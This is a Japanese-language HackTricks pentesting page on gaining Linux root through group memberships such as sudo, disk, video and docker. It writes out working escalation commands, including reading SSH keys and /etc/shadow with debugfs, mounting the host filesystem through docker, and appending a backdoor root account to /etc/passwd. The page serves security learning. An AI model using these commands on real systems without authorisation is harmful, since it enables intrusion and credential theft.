.. | ||
lxd-privilege-escalation.md | ||
README.md |
インタレスティンググループ - Linux Privesc
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか? または、PEASSの最新バージョンにアクセスしたいですか? または、HackTricksをPDFでダウンロードしたいですか? SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksのグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
- ハッキングのトリックを共有するには、PRを hacktricks repo と hacktricks-cloud repo に提出してください。
Sudo/Admin グループ
PE - メソッド1
時々、デフォルトで(または一部のソフトウェアが必要とするために)、/etc/sudoersファイルの中にこれらの行のいくつかを見つけることができます:
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
これは、sudoまたはadminグループに所属するユーザーはsudoとして何でも実行できることを意味します。
もし状況がそうであるなら、rootになるためには単に以下を実行するだけです:
sudo su
PE - メソッド2
すべてのsuidバイナリを見つけ、バイナリPkexecがあるかどうかを確認します:
find / -perm -4000 2>/dev/null
もし、バイナリファイル pkexec が SUID バイナリ であり、あなたが sudo もしくは admin グループに所属している場合、おそらく pkexec
を使用してバイナリファイルを sudo として実行することができます。
これは通常、polkit ポリシー内のグループです。このポリシーは、どのグループが pkexec
を使用できるかを識別します。次のコマンドで確認してください。
cat /etc/polkit-1/localauthority.conf.d/*
以下では、どのグループがpkexecを実行することが許可されているか、およびいくつかのLinuxディストリビューションではデフォルトでsudoとadminのグループが表示されることがわかります。
rootになるためには、次のコマンドを実行します:
pkexec "/bin/sh" #You will be prompted for your user password
もしpkexecを実行しようとして、以下のエラーが表示された場合:
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
権限がないわけではなく、GUIなしで接続されていないためです。この問題の回避策はこちらにあります:https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903。2つの異なるsshセッションが必要です:
{% code title="session1" %}
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
{% code title="session2" %}
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
{% endcode %}
Wheelグループ
時々、デフォルトで、/etc/sudoersファイルの中にこの行が見つかることがあります:
%wheel ALL=(ALL:ALL) ALL
これは、wheelグループに所属するユーザーはsudoとして何でも実行できることを意味します。
もし状況がそうであるなら、rootになるためには単に以下を実行するだけです:
sudo su
Shadowグループ
shadowグループのユーザーは、/etc/shadowファイルを読み取ることができます。
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
ディスクグループ
この特権は、マシン内のすべてのデータにアクセスできるため、ほぼルートアクセスと同等です。
ファイル:/dev/sd[a-z][1-9]
df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
注意してください、debugfsを使用するとファイルを書き込むこともできます。例えば、/tmp/asd1.txt
を/tmp/asd2.txt
にコピーするには、次のようにします:
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
しかし、rootが所有するファイル(/etc/shadow
や/etc/passwd
など)を書き込もうとすると、「Permission denied」のエラーが発生します。
Videoグループ
コマンドw
を使用すると、システムにログインしているユーザーを見つけることができ、以下のような出力が表示されます:
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
tty1は、ユーザーyossiが物理的にマシンの端末にログインしていることを意味します。
videoグループは、画面出力を表示する権限を持っています。基本的には画面を観察することができます。これを行うためには、現在の画面のイメージを生データで取得し、画面が使用している解像度を取得する必要があります。画面データは/dev/fb0
に保存され、この画面の解像度は/sys/class/graphics/fb0/virtual_size
で見つけることができます。
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
Rawイメージを開くには、GIMPを使用し、**screen.raw
**ファイルを選択し、ファイルタイプとしてRawイメージデータを選択します:
次に、画面で使用されている幅と高さを変更し、さまざまな画像タイプを確認します(画面をより良く表示するものを選択します):
ルートグループ
デフォルトでは、ルートグループのメンバーは、特権をエスカレートするために使用できる一部のサービスの設定ファイルやライブラリファイルなど、いくつかの興味深いものを変更することができるようです...
ルートメンバーが変更できるファイルを確認してください:
find / -group root -perm -g=w 2>/dev/null
Dockerグループ
インスタンスのボリュームにホストマシンのルートファイルシステムをマウントすることができます。そのため、インスタンスが起動するとすぐにそのボリュームにchroot
がロードされます。これにより、実質的にマシン上でroot権限を取得することができます。
docker image #Get images from the docker service
#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
最後に、前述のいずれの提案も気に入らない場合や、何らかの理由で機能しない場合(docker apiファイアウォールなど)、常に特権コンテナを実行して脱出することができます。詳細はこちらを参照してください:
{% content-ref url="../docker-security/" %} docker-security {% endcontent-ref %}
もしdockerソケットに書き込み権限がある場合は、この記事を読んでdockerソケットを悪用して特権をエスカレーションする方法を参照してください。
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
lxc/lxdグループ
{% content-ref url="./" %} . {% endcontent-ref %}
Admグループ
通常、adm
グループのメンバーは、_/var/log/_にあるログファイルを読み取る権限を持っています。したがって、このグループのユーザーを侵害した場合は、ログを確認する必要があります。
Authグループ
OpenBSDでは、authグループは通常、使用されている場合に_/etc/skeyと/var/db/yubikey_のフォルダに書き込むことができます。これらの権限は、次のエクスプロイトを使用して特権をエスカレーションするために悪用される可能性があります:https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンやHackTricksのPDFをダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
- 公式のPEASS&HackTricksグッズを手に入れましょう。
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングのトリックを共有するには、hacktricks repo と hacktricks-cloud repo にPRを提出してください。